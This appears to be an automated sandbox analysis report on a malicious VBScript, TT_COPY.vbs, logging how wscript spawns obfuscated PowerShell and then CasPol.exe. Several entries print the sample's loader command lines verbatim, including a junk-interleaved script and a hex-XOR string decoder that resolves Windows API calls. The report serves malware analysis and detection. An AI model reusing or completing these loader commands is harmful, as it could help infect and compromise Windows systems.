Af`$TrDBreNolFoiSenFotCaeBrrduvPeaArlMulIneTrrFonSheHysSa[Re`$ReKOmlPaiDasTrtBurOritenVegDoeDirOp/Sw2Be]Em Gk=Lo Co[PocOnoSunTivUneMarKrtTa]Vi:tr:WiTReoRoBVgyEttWaeDe(Ma`$GrRWheFogTuiAnoNonBysDipLolDeaFonPrlUdoFovGrsUn.PaSFoucobDusBrtForCliMenTugli(Ja`$CeKMelIciAysAftMirGriCinUvgUneStrSe,Fu te2Ho)Ko,Sk Ba1Ti6Va)Fl;Ga Va Ar`$UnDSceKelPiirenFltpeeDorTevStaColFjlTrePerAcnOveDisLa[Ca`$AfKtalIdiKlsCotskrHyiUnnBrgsueAsrte/Mo2Pe]Le Zo=Mi Ne(ne`$PiDsleaulSuiFanmytFjeAnrFevTeaPrlnolKreLurFrnByeThsOb[Ek`$BaKUdltriOrsLatserOsiChnJegSkeThrSp/Er2Mu]Bi Be-prbmeximoForGr Es1Sk6St5Fr)De;Ar kn Gi An Ma}He Vn[ReSGatakrHaiSinLogOx]fi[TaSmoyCosHatPaeChmOr.unTAleAbxOvtFo.ExEkvnNocAaoMedStiHonAsgBo]No:Bi:TiADiSBeCGrILaIHu.raGCoeVitKoSVatprrUniLanSugHa(Ec`$MaDExeKvlFaiFlnBatEnePorssvFuaJalInlIneGorExnBieWhsAn)Eq;Pa}St`$RiFUpoKorsksInkMinVeiFanDugMesrerLieBrsOvuRelHotIdaUrtDieKtrDesfa0In=SiSHimUfecergotafePrnknsvibHeaHyrEknmissi0Fi Dr'MeFSv6AfDSnCfaDSu6SuDVe1InCHj0AfCUn8Da8UdBBvCMa1BaCre9VaCOr9Sa'Un;Al`$LiFodoKerHosLikConHuiTrnSpgDoslarSueEjsTeuTelVetBiaGrtReeOvransLe1Wa=OuSLumMoeUrrBrtUmeKanHyspobMuaWirInnAnsNo0Br No'UdEAn8KoCRuCUnCdo6TrDWo7cuCcuAFaDha6LyCDiAUnCNe3KrDCa1ma8FlBImFDi2DdCDyCSaCGrBSe9Am6Ch9Ok7Re8grBskFhu0ReCFiBMoDDi6NaCCo4SkCUn3HiCBr0KeETrBPoCSh4GrDRe1AnCBoCYnDSo3MiCAf0SaEUn8SaCTo0TiDCo1ScCZoDNoCFlAMeCut1KoDSe6Bo'Sq;Gr`$FiFDooStrnosKokIdnCoiblnSkgJosSprDaeTssTeuUnlSttSvaPrtHoeChrHysDi2Ny=PoSUmmPeeKnrqutCleHonidsFobFoaPrrUnnKosPo0Ra Ve'TrEPa2ImCRe0spDpr1VaFCa5TeDPa7lyCBrAHeCSi6DiEIr4VaCFr1DaCVa1UpDDu7TeCGy0hoDRe6UdDSu6De'Me;Ud`$GrFTeolerLusCukClnRaiSanHagcisCyrBeeDesVauSylFotSkaAntmueSarUdsEt3La=RaSStmEkeSkrSatHueSunTrsInbBeaHerRonFosKu0He Co'FrFRe6slDMeCFoDin6BeDOp1ToCBu0CoCUl8Gu8MeBUnFCo7OpDMo0MaCWeBJaDVi1plCJoCArCSh8BaCSt0nu8CoBMeEReCDiCFeBTaDLy1soCOm0EuDAf7ReCSuAtoDDh5brFVa6PsCIn0FeDDi7maDBa3KaCChCReCMe6FlCde0UiDHu6Re8ReBGeEseDBaCSp4KlCStBryCca1SkCfr9DaCke0EsFMi7UnCdu0PrCAs3hf'Gr;De`$PoFChoMirPesDikFlnIniBanovgSasMarKaeGrsBeuValFotFraTrtHieAlrStsKl4Da=FoSnomfjegorSvtGreBunKasLgbSparorUnnSosIn0Al Gr'JoDAd6enDSe1PeDch7DiCPrCAmCSyBFrCPi2Mu'Ra;We`$IrFBroLurSusCoktonFeiAnnNogTasMirpieLiscauTalExtKaaSptDoeunrSisIr5Do=OcSMimBaeStrRetLteSonFusUdbGraMurFonMosDr0M
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Vildmnd = """SaFLauConFacGatUniStoUnnLi suSSemLeeAurGltIneFrnAnsFrbAnaCarIrnPrsre0St To{Ch Ir Al Ud DopCoaSerUsaPemAn(Th[FoSRetHorKoiBonSagSu]In`$NoRAfenoguniHyoOpnMesHapFrlInathnStlVaoIsvUnsel)Bo;Hu In Po Fe Fo`$DiDOceWilMuiUnnPhtBaeHerJuvSyaNalPrlGaeTorKonIfeCosDi No=Br WhNBeetrwKo-FjOKobThjRaeLecCotUn BebStyEntCieKo[cu]Hu Cr(Hy`$mrRDreOagviiMyoBanTvsKvpEklOvaacnFrlSloHovsosPi.SuLAbeNenWagSmtHuhTh No/Be Ze2Co)St;Pe Sk Gt Mi SuFUdomerOm(cr`$ArKUblVaiOvsSetUnrEmiAznTeggeeUnrGu=Al0re;Un Tr`$SpKTjlDriMesAktSurFoiUnnCagMeeSarIc He-FalBrtKa Ac`$TiRWieUdgUdiDeoRanObsSkpRelMiaPrnAnlreoAlvInsfo.BoLTreFanPrgFrtSthDd;Uu Sp`$SyKFolGoiAlsExtinrTriLinUngSkeIcrRe+Fl=Zi2he)Le{Ga Ys Un Pa Pr Te Ta Il Af`$TrDBreNolFoiSenFotCaeBrrduvPeaArlMulIneTrrFonSheHysSa[Re`$ReKOmlPaiDasTrtBurOritenVegDoeDirOp/Sw2Be]Em Gk=Lo Co[PocOnoSunTivUneMarKrtTa]Vi:tr:WiTReoRoBVgyEttWaeDe(Ma`$GrRWheFogTuiAnoNonBysDipLolDeaFonPrlUdoFovGrsUn.PaSFoucobDusBrtForCliMenTugli(Ja`$CeKMelIciAysAftMirGriCinUvgUneStrSe,Fu te2Ho)Ko,Sk Ba1Ti6Va)Fl;Ga Va Ar`$UnDSceKelPiirenFltpeeDorTevStaColFjlTrePerAcnOveDisLa[Ca`$AfKtalIdiKlsCotskrHyiUnnBrgsueAsrte/Mo2Pe]Le Zo=Mi Ne(ne`$PiDsleaulSuiFanmytFjeAnrFevTeaPrlnolKreLurFrnByeThsOb[Ek`$BaKUdltriOrsLatserOsiChnJegSkeThrSp/Er2Mu]Bi Be-prbmeximoForGr Es1Sk6St5Fr)De;Ar kn Gi An Ma}He Vn[ReSGatakrHaiSinLogOx]fi[TaSmoyCosHatPaeChmOr.unTAleAbxOvtFo.ExEkvnNocAaoMedStiHonAsgBo]No:Bi:TiADiSBeCGrILaIHu.raGCoeVitKoSVatprrUniLanSugHa(Ec`$MaDExeKvlFaiFlnBatEnePorssvFuaJalInlIneGorExnBieWhsAn)Eq;Pa}St`$RiFUpoKorsksInkMinVeiFanDugMesrerLieBrsOvuRelHotIdaUrtDieKtrDesfa0In=SiSHimUfecergotafePrnknsvibHeaHyrEknmissi0Fi Dr'MeFSv6AfDSnCfaDSu6SuDVe1InCHj0AfCUn8Da8UdBBvCMa1BaCre9VaCOr9Sa'Un;Al`$LiFodoKerHosLikConHuiTrnSpgDoslarSueEjsTeuTelVetBiaGrtReeOvransLe1Wa=OuSLumMoeUrrBrtUmeKanHyspobMuaWirInnAnsNo0Br No'UdEAn8KoCRuCUnCdo6TrDWo7cuCcuAFaDha6LyCDiAUnCNe3KrDCa1ma8FlBImFDi2DdCDyCSaCGrBSe9Am6Ch9Ok7Re8grBskFhu0ReCFiBMoDDi6NaCCo4SkCUn3HiCBr0KeETrBPoCSh4GrDRe1AnCBoCYnDSo3MiCAf0SaEUn8SaCTo0TiDCo1ScCZoDNoCFlAMeCut1KoDSe6Bo'Sq;Gr`$FiFDooStrnosKokIdnCoiblnSkgJosSprDaeTssTeuUnlSttSvaPrtHoeChrHysDi2Ny=PoSUmmPeeKnrqutCleHonidsFobFoaPrrUnnKosPo0Ra Ve'TrEPa2ImCRe0spDpr1VaFCa5TeDPa7lyCBrAHeCSi6DiEIr4VaCFr1DaCVa1UpDDu7TeCGy0hoDRe6UdDSu6De'Me;Ud`$GrFTeolerLusCukClnRaiSanHagcisCyrBeeDesVauSylFotSkaAntmueSarUdsEt3La=RaSStmEkeSkrSatHueSunTrsInbBeaHerRonFosKu0He Co'FrFRe6slDMeCFoDin6BeDOp1ToCBu0CoCUl8Gu8MeBUnFCo7OpDMo0MaCWeBJaDVi1plCJoCArCSh8BaCSt0nu8CoBMeEReCDiCFeBTaDLy1soCOm0EuDAf7ReCSuAtoDDh5brFVa6PsCIn0FeDDi7maDBa3KaCChCReCMe6FlCde0UiDHu6Re8ReBGeEseDBaCSp4KlCStBryCca1SkCfr9DaCke0EsFMi7UnCdu0PrCAs3hf'Gr;De`$PoFChoMirPesDikFlnIniBanovgSasMarKaeGrsBeuValFotFraTrtHieAlrStsKl4Da=FoSnomfjegorSvtGreBunKasLgbSparorUnnSosIn0Al Gr'JoDAd6enDSe1PeDch7DiCPrCAmCSyBFrCPi2Mu'Ra;We`$IrFBroLurSusCoktonFeiAnnNogTasMirpieLiscauTalExtKaaSptDoeunrSisIr5Do=OcSMimBaeStrRetLteSonFusUdbGraMurFonMosDr0M			Jump to behavior

Potential malicious VBS script found (suspicious strings)

Source:

Initial file: Impi11.ShellExecute Skyler, " " & chrw(34) + Ce8 + chrw(34), "", "", 0

Very long command line found

Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 21279
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: Commandline size = 6954
Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 21279	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: Commandline size = 6954	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_00CC4280	7_2_00CC4280
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_00CC1960	7_2_00CC1960
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_00CD5C38	7_2_00CD5C38
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_00CD79E0	7_2_00CD79E0
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_00CD5128	7_2_00CD5128
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_00CDB930	7_2_00CDB930
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_00CDDEC8	7_2_00CDDEC8
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_00CDDA77	7_2_00CDDA77
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_00CDC323	7_2_00CDC323
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_00CD4500	7_2_00CD4500
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_00DAC180	7_2_00DAC180
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_1F824FA0	7_2_1F824FA0
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_1F82D720	7_2_1F82D720
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_1F827AE0	7_2_1F827AE0

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_1D45AFDA NtQuerySystemInformation,		7_2_1D45AFDA
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_1D45AFB8 NtQuerySystemInformation,		7_2_1D45AFB8

Source: TT_COPY.vbs

Initial sample: Strings found which are bigger than 50

Source: C:\Windows\System32\wscript.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Section loaded: edgegdi.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\TT_COPY.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Vildmnd = """SaFLauConFacGatUniStoUnnLi suSSemLeeAurGltIneFrnAnsFrbAnaCarIrnPrsre0St To{Ch Ir Al Ud DopCoaSerUsaPemAn(Th[FoSRetHorKoiBonSagSu]In`$NoRAfenoguniHyoOpnMesHapFrlInathnStlVaoIsvUnsel)Bo;Hu In Po Fe Fo`$DiDOceWilMuiUnnPhtBaeHerJuvSyaNalPrlGaeTorKonIfeCosDi No=Br WhNBeetrwKo-FjOKobThjRaeLecCotUn BebStyEntCieKo[cu]Hu Cr(Hy`$mrRDreOagviiMyoBanTvsKvpEklOvaacnFrlSloHovsosPi.SuLAbeNenWagSmtHuhTh No/Be Ze2Co)St;Pe Sk Gt Mi SuFUdomerOm(cr`$ArKUblVaiOvsSetUnrEmiAznTeggeeUnrGu=Al0re;Un Tr`$SpKTjlDriMesAktSurFoiUnnCagMeeSarIc He-FalBrtKa Ac`$TiRWieUdgUdiDeoRanObsSkpRelMiaPrnAnlreoAlvInsfo.BoLTreFanPrgFrtSthDd;Uu Sp`$SyKFolGoiAlsExtinrTriLinUngSkeIcrRe+Fl=Zi2he)Le{Ga Ys Un Pa Pr Te Ta Il Af`$TrDBreNolFoiSenFotCaeBrrduvPeaArlMulIneTrrFonSheHysSa[Re`$ReKOmlPaiDasTrtBurOritenVegDoeDirOp/Sw2Be]Em Gk=Lo Co[PocOnoSunTivUneMarKrtTa]Vi:tr:WiTReoRoBVgyEttWaeDe(Ma`$GrRWheFogTuiAnoNonBysDipLolDeaFonPrlUdoFovGrsUn.PaSFoucobDusBrtForCliMenTugli(Ja`$CeKMelIciAysAftMirGriCinUvgUneStrSe,Fu te2Ho)Ko,Sk Ba1Ti6Va)Fl;Ga Va Ar`$UnDSceKelPiirenFltpeeDorTevStaColFjlTrePerAcnOveDisLa[Ca`$AfKtalIdiKlsCotskrHyiUnnBrgsueAsrte/Mo2Pe]Le Zo=Mi Ne(ne`$PiDsleaulSuiFanmytFjeAnrFevTeaPrlnolKreLurFrnByeThsOb[Ek`$BaKUdltriOrsLatserOsiChnJegSkeThrSp/Er2Mu]Bi Be-prbmeximoForGr Es1Sk6St5Fr)De;Ar kn Gi An Ma}He Vn[ReSGatakrHaiSinLogOx]fi[TaSmoyCosHatPaeChmOr.unTAleAbxOvtFo.ExEkvnNocAaoMedStiHonAsgBo]No:Bi:TiADiSBeCGrILaIHu.raGCoeVitKoSVatprrUniLanSugHa(Ec`$MaDExeKvlFaiFlnBatEnePorssvFuaJalInlIneGorExnBieWhsAn)Eq;Pa}St`$RiFUpoKorsksInkMinVeiFanDugMesrerLieBrsOvuRelHotIdaUrtDieKtrDesfa0In=SiSHimUfecergotafePrnknsvibHeaHyrEknmissi0Fi Dr'MeFSv6AfDSnCfaDSu6SuDVe1InCHj0AfCUn8Da8UdBBvCMa1BaCre9VaCOr9Sa'Un;Al`$LiFodoKerHosLikConHuiTrnSpgDoslarSueEjsTeuTelVetBiaGrtReeOvransLe1Wa=OuSLumMoeUrrBrtUmeKanHyspobMuaWirInnAnsNo0Br No'UdEAn8KoCRuCUnCdo6TrDWo7cuCcuAFaDha6LyCDiAUnCNe3KrDCa1ma8FlBImFDi2DdCDyCSaCGrBSe9Am6Ch9Ok7Re8grBskFhu0ReCFiBMoDDi6NaCCo4SkCUn3HiCBr0KeETrBPoCSh4GrDRe1AnCBoCYnDSo3MiCAf0SaEUn8SaCTo0TiDCo1ScCZoDNoCFlAMeCut1KoDSe6Bo'Sq;Gr`$FiFDooStrnosKokIdnCoiblnSkgJosSprDaeTssTeuUnlSttSvaPrtHoeChrHysDi2Ny=PoSUmmPeeKnrqutCleHonidsFobFoaPrrUnnKosPo0Ra Ve'TrEPa2ImCRe0spDpr1VaFCa5TeDPa7lyCBrAHeCSi6DiEIr4VaCFr1DaCVa1UpDDu7TeCGy0hoDRe6UdDSu6De'Me;Ud`$GrFTeolerLusCukClnRaiSanHagcisCyrBeeDesVauSylFotSkaAntmueSarUdsEt3La=RaSStmEkeSkrSatHueSunTrsInbBeaHerRonFosKu0He Co'FrFRe6slDMeCFoDin6BeDOp1ToCBu0CoCUl8Gu8MeBUnFCo7OpDMo0MaCWeBJaDVi1plCJoCArCSh8BaCSt0nu8CoBMeEReCDiCFeBTaDLy1soCOm0EuDAf7ReCSuAtoDDh5brFVa6PsCIn0FeDDi7maDBa3KaCChCReCMe6FlCde0UiDHu6Re8ReBGeEseDBaCSp4KlCStBryCca1SkCfr9DaCke0EsFMi7UnCdu0PrCAs3hf'Gr;De`$PoFChoMirPesDikFlnIniBanovgSasMarKaeGrsBeuValFotFraTrtHieAlrStsKl4Da=FoSnomfjegorSvtGreBunKasLgbSparorUnnSosIn0Al Gr'JoDAd6enDSe1PeDch7DiCPrCAmCSyBFrCPi2Mu'Ra;We`$IrFBroLurSusCoktonFeiAnnNogTasMirpieLiscauTalExtKaaSptDoeunrSisIr5Do=OcSMimBaeStrRetLteSonFusUdbGraMurFonMosDr0M
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "Function Smertensbarns0 { param([String]$Regionsplanlovs); $Delintervallernes = New-Object byte[] ($Regionsplanlovs.Length / 2); For($Klistringer=0; $Klistringer -lt $Regionsplanlovs.Length; $Klistringer+=2){ $Delintervallernes[$Klistringer/2] = [convert]::ToByte($Regionsplanlovs.Substring($Klistringer, 2), 16); $Delintervallernes[$Klistringer/2] = ($Delintervallernes[$Klistringer/2] -bxor 165); } [String][System.Text.Encoding]::ASCII.GetString($Delintervallernes);}$Forskningsresultaters0=Smertensbarns0 'F6DCD6D1C0C88BC1C9C9';$Forskningsresultaters1=Smertensbarns0 'E8CCC6D7CAD6CAC3D18BF2CCCB96978BF0CBD6C4C3C0EBC4D1CCD3C0E8C0D1CDCAC1D6';$Forskningsresultaters2=Smertensbarns0 'E2C0D1F5D7CAC6E4C1C1D7C0D6D6';$Forskningsresultaters3=Smertensbarns0 'F6DCD6D1C0C88BF7D0CBD1CCC8C08BECCBD1C0D7CAD5F6C0D7D3CCC6C0D68BEDC4CBC1C9C0F7C0C3';$Forskningsresultaters4=Smertensbarns0 'D6D1D7CCCBC2';$Forskningsresultaters5=Smertensbarns0 'E2C0D1E8CAC1D0C9C0EDC4CBC1C9C0';$Forskningsresultaters6=Smertensbarns0 'F7F1F6D5C0C6CCC4C9EBC4C8C08985EDCCC1C0E7DCF6CCC28985F5D0C7C9CCC6';$Forskningsresultaters7=Smertensbarns0 'F7D0CBD1CCC8C08985E8C4CBC4C2C0C1';$Forskningsresultaters8=Smertensbarns0 'F7C0C3C9C0C6D1C0C1E1C0C9C0C2C4D1C0';$Forskningsresultaters9=Smertensbarns0 'ECCBE8C0C8CAD7DCE8CAC1D0C9C0';$Ghegish0=Smertensbarns0 'E8DCE1C0C9C0C2C4D1C0F1DCD5C0';$Ghegish1=Smertensbarns0 'E6C9C4D6D68985F5D0C7C9CCC68985F6C0C4C9C0C18985E4CBD6CCE6C9C4D6D68985E4D0D1CAE6C9C4D6D6';$Ghegish2=Smertensbarns0 'ECCBD3CACEC0';$Ghegish3=Smertensbarns0 'F5D0C7C9CCC68985EDCCC1C0E7DCF6CCC28985EBC0D2F6C9CAD18985F3CCD7D1D0C4C9';$Ghegish4=Smertensbarns0 'F3CCD7D1D0C4C9E4C9C9CAC6';$Ghegish5=Smertensbarns0 'CBD1C1C9C9';$Ghegish6=Smertensbarns0 'EBD1F5D7CAD1C0C6D1F3CCD7D1D0C4C9E8C0C8CAD7DC';$Ghegish7=Smertensbarns0 'ECE0FD';$Ghegish8=Smertensbarns0 'F9';function fkp {Param ($Upgrown, $Depressionsperioder) ;$Hoeres0 =Smertensbarns0 '81EED7C8C8C0D7C0CB8598858DFEE4D5D5E1CAC8C4CCCBF89F9FE6D0D7D7C0CBD1E1CAC8C4CCCB8BE2C0D1E4D6D6C0C8C7C9CCC0D68D8C85D985F2CDC0D7C088EAC7CFC0C6D185DE8581FA8BE2C9CAC7C4C9E4D6D6C0C8C7C9DCE6C4C6CDC08588E4CBC18581FA8BE9CAC6C4D1CCCACB8BF6D5C9CCD18D81E2CDC0C2CCD6CD9D8CFE8894F88BE0D4D0C4C9D68D81E3CAD7D6CECBCCCBC2D6D7C0D6D0C9D1C4D1C0D7D6958C85D88C8BE2C0D1F1DCD5C08D81E3CAD7D6CECBCCCBC2D6D7C0D6D0C9D1C4D1C0D7D6948C';&($Ghegish7) $Hoeres0;$Hoeres5 = Smertensbarns0 '81E6CDCCC9C985988581EED7C8C8C0D7C0CB8BE2C0D1E8C0D1CDCAC18D81E3CAD7D6CECBCCCBC2D6D7C0D6D0C9D1C4D1C0D7D6978985FEF1DCD5C0FEF8F885E58D81E3CAD7D6CECBCCCBC2D6D7C0D6D0C9D1C4D1C0D7D696898581E3CAD7D6CECBCCCBC2D6D7C0D6D0C9D1C4D1C0D7D6918C8C';&($Ghegish7) $Hoeres5;$Hoeres1 = Smertensbarns0 'D7C0D1D0D7CB8581E6CDCCC9C98BECCBD3CACEC08D81CBD0C9C98985E58DFEF6DCD6D1C0C88BF7D0CBD1CCC8C08BECCBD1C0D7CAD5F6C0D7D3CCC6C0D68BEDC4CBC1C9C0F7C0C3F88DEBC0D288EAC7CFC0C6D185F6DCD6D1C0C88BF7D0CBD1CCC8C08BECCBD1C0D7CAD5F6C0D7D3CC
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\caspol.exe
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Vildmnd = """SaFLauConFacGatUniStoUnnLi suSSemLeeAurGltIneFrnAnsFrbAnaCarIrnPrsre0St To{Ch Ir Al Ud DopCoaSerUsaPemAn(Th[FoSRetHorKoiBonSagSu]In`$NoRAfenoguniHyoOpnMesHapFrlInathnStlVaoIsvUnsel)Bo;Hu In Po Fe Fo`$DiDOceWilMuiUnnPhtBaeHerJuvSyaNalPrlGaeTorKonIfeCosDi No=Br WhNBeetrwKo-FjOKobThjRaeLecCotUn BebStyEntCieKo[cu]Hu Cr(Hy`$mrRDreOagviiMyoBanTvsKvpEklOvaacnFrlSloHovsosPi.SuLAbeNenWagSmtHuhTh No/Be Ze2Co)St;Pe Sk Gt Mi SuFUdomerOm(cr`$ArKUblVaiOvsSetUnrEmiAznTeggeeUnrGu=Al0re;Un Tr`$SpKTjlDriMesAktSurFoiUnnCagMeeSarIc He-FalBrtKa Ac`$TiRWieUdgUdiDeoRanObsSkpRelMiaPrnAnlreoAlvInsfo.BoLTreFanPrgFrtSthDd;Uu Sp`$SyKFolGoiAlsExtinrTriLinUngSkeIcrRe+Fl=Zi2he)Le{Ga Ys Un Pa Pr Te Ta Il Af`$TrDBreNolFoiSenFotCaeBrrduvPeaArlMulIneTrrFonSheHysSa[Re`$ReKOmlPaiDasTrtBurOritenVegDoeDirOp/Sw2Be]Em Gk=Lo Co[PocOnoSunTivUneMarKrtTa]Vi:tr:WiTReoRoBVgyEttWaeDe(Ma`$GrRWheFogTuiAnoNonBysDipLolDeaFonPrlUdoFovGrsUn.PaSFoucobDusBrtForCliMenTugli(Ja`$CeKMelIciAysAftMirGriCinUvgUneStrSe,Fu te2Ho)Ko,Sk Ba1Ti6Va)Fl;Ga Va Ar`$UnDSceKelPiirenFltpeeDorTevStaColFjlTrePerAcnOveDisLa[Ca`$AfKtalIdiKlsCotskrHyiUnnBrgsueAsrte/Mo2Pe]Le Zo=Mi Ne(ne`$PiDsleaulSuiFanmytFjeAnrFevTeaPrlnolKreLurFrnByeThsOb[Ek`$BaKUdltriOrsLatserOsiChnJegSkeThrSp/Er2Mu]Bi Be-prbmeximoForGr Es1Sk6St5Fr)De;Ar kn Gi An Ma}He Vn[ReSGatakrHaiSinLogOx]fi[TaSmoyCosHatPaeChmOr.unTAleAbxOvtFo.ExEkvnNocAaoMedStiHonAsgBo]No:Bi:TiADiSBeCGrILaIHu.raGCoeVitKoSVatprrUniLanSugHa(Ec`$MaDExeKvlFaiFlnBatEnePorssvFuaJalInlIneGorExnBieWhsAn)Eq;Pa}St`$RiFUpoKorsksInkMinVeiFanDugMesrerLieBrsOvuRelHotIdaUrtDieKtrDesfa0In=SiSHimUfecergotafePrnknsvibHeaHyrEknmissi0Fi Dr'MeFSv6AfDSnCfaDSu6SuDVe1InCHj0AfCUn8Da8UdBBvCMa1BaCre9VaCOr9Sa'Un;Al`$LiFodoKerHosLikConHuiTrnSpgDoslarSueEjsTeuTelVetBiaGrtReeOvransLe1Wa=OuSLumMoeUrrBrtUmeKanHyspobMuaWirInnAnsNo0Br No'UdEAn8KoCRuCUnCdo6TrDWo7cuCcuAFaDha6LyCDiAUnCNe3KrDCa1ma8FlBImFDi2DdCDyCSaCGrBSe9Am6Ch9Ok7Re8grBskFhu0ReCFiBMoDDi6NaCCo4SkCUn3HiCBr0KeETrBPoCSh4GrDRe1AnCBoCYnDSo3MiCAf0SaEUn8SaCTo0TiDCo1ScCZoDNoCFlAMeCut1KoDSe6Bo'Sq;Gr`$FiFDooStrnosKokIdnCoiblnSkgJosSprDaeTssTeuUnlSttSvaPrtHoeChrHysDi2Ny=PoSUmmPeeKnrqutCleHonidsFobFoaPrrUnnKosPo0Ra Ve'TrEPa2ImCRe0spDpr1VaFCa5TeDPa7lyCBrAHeCSi6DiEIr4VaCFr1DaCVa1UpDDu7TeCGy0hoDRe6UdDSu6De'Me;Ud`$GrFTeolerLusCukClnRaiSanHagcisCyrBeeDesVauSylFotSkaAntmueSarUdsEt3La=RaSStmEkeSkrSatHueSunTrsInbBeaHerRonFosKu0He Co'FrFRe6slDMeCFoDin6BeDOp1ToCBu0CoCUl8Gu8MeBUnFCo7OpDMo0MaCWeBJaDVi1plCJoCArCSh8BaCSt0nu8CoBMeEReCDiCFeBTaDLy1soCOm0EuDAf7ReCSuAtoDDh5brFVa6PsCIn0FeDDi7maDBa3KaCChCReCMe6FlCde0UiDHu6Re8ReBGeEseDBaCSp4KlCStBryCca1SkCfr9DaCke0EsFMi7UnCdu0PrCAs3hf'Gr;De`$PoFChoMirPesDikFlnIniBanovgSasMarKaeGrsBeuValFotFraTrtHieAlrStsKl4Da=FoSnomfjegorSvtGreBunKasLgbSparorUnnSosIn0Al Gr'JoDAd6enDSe1PeDch7DiCPrCAmCSyBFrCPi2Mu'Ra;We`$IrFBroLurSusCoktonFeiAnnNogTasMirpieLiscauTalExtKaaSptDoeunrSisIr5Do=OcSMimBaeStrRetLteSonFusUdbGraMurFonMosDr0M	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "Function Smertensbarns0 { param([String]$Regionsplanlovs); $Delintervallernes = New-Object byte[] ($Regionsplanlovs.Length / 2); For($Klistringer=0; $Klistringer -lt $Regionsplanlovs.Length; $Klistringer+=2){ $Delintervallernes[$Klistringer/2] = [convert]::ToByte($Regionsplanlovs.Substring($Klistringer, 2), 16); $Delintervallernes[$Klistringer/2] = ($Delintervallernes[$Klistringer/2] -bxor 165); } [String][System.Text.Encoding]::ASCII.GetString($Delintervallernes);}$Forskningsresultaters0=Smertensbarns0 'F6DCD6D1C0C88BC1C9C9';$Forskningsresultaters1=Smertensbarns0 'E8CCC6D7CAD6CAC3D18BF2CCCB96978BF0CBD6C4C3C0EBC4D1CCD3C0E8C0D1CDCAC1D6';$Forskningsresultaters2=Smertensbarns0 'E2C0D1F5D7CAC6E4C1C1D7C0D6D6';$Forskningsresultaters3=Smertensbarns0 'F6DCD6D1C0C88BF7D0CBD1CCC8C08BECCBD1C0D7CAD5F6C0D7D3CCC6C0D68BEDC4CBC1C9C0F7C0C3';$Forskningsresultaters4=Smertensbarns0 'D6D1D7CCCBC2';$Forskningsresultaters5=Smertensbarns0 'E2C0D1E8CAC1D0C9C0EDC4CBC1C9C0';$Forskningsresultaters6=Smertensbarns0 'F7F1F6D5C0C6CCC4C9EBC4C8C08985EDCCC1C0E7DCF6CCC28985F5D0C7C9CCC6';$Forskningsresultaters7=Smertensbarns0 'F7D0CBD1CCC8C08985E8C4CBC4C2C0C1';$Forskningsresultaters8=Smertensbarns0 'F7C0C3C9C0C6D1C0C1E1C0C9C0C2C4D1C0';$Forskningsresultaters9=Smertensbarns0 'ECCBE8C0C8CAD7DCE8CAC1D0C9C0';$Ghegish0=Smertensbarns0 'E8DCE1C0C9C0C2C4D1C0F1DCD5C0';$Ghegish1=Smertensbarns0 'E6C9C4D6D68985F5D0C7C9CCC68985F6C0C4C9C0C18985E4CBD6CCE6C9C4D6D68985E4D0D1CAE6C9C4D6D6';$Ghegish2=Smertensbarns0 